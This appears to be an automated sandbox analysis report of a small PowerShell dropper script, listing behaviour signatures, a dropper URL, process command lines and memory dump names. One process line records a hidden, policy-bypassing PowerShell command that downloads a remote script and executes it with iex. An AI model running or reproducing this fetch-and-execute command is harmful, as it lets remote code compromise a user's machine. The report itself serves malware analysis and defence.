Analysis
- max time kernel
149s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 18:26
General
- Target schedtaskpschijfmappingpasjes.ps1
- Size 763B
- Sample260910-w284ksfl31
- SHA256 d167228652f26729e533f34c7830c2a7beba0ed923aab8c990d372920538f7c0
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://alldevices.blob.core.windows.net/settings/psschijfmappingpasjes.ps1
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\schedtaskpschijfmappingpasjes.ps11⤵
- Command and Scripting Interpreter: PowerShell
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe"Powershell.exe" -windowstyle hidden -ExecutionPolicy Bypass iex ((New-Object System.Net.WebClient).DownloadString('https://alldevices.blob.core.windows.net/settings/psschijfmappingpasjes.ps1'))1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_bkjluogt.qp4.ps1
memory/4188-45-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-47-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-54-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-53-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-51-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-50-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-49-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-44-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-56-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-46-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-55-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-31-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-48-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-43-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-58-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-39-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-38-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-37-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-36-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-35-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-34-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-33-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4188-32-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-16-0x00000226694D0000-0x0000022669582000-memory.dmp
memory/4484-17-0x00000226694A0000-0x00000226694AA000-memory.dmp
memory/4484-29-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-27-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-26-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-25-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-24-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-23-0x00000226695C0000-0x00000226695E4000-memory.dmp
memory/4484-22-0x00000226695C0000-0x00000226695EA000-memory.dmp
memory/4484-21-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-20-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-19-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-18-0x00000226695B0000-0x00000226695CE000-memory.dmp
memory/4484-30-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-0-0x00007FF916AFF000-0x00007FF916B00000-memory.dmp
memory/4484-15-0x00000226694B0000-0x00000226694CE000-memory.dmp
memory/4484-12-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-11-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-10-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-9-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-8-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-7-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-5-0x0000022669310000-0x0000022669332000-memory.dmp
memory/4484-6-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-2-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/4484-1-0x00007FF916970000-0x00007FF917314000-memory.dmp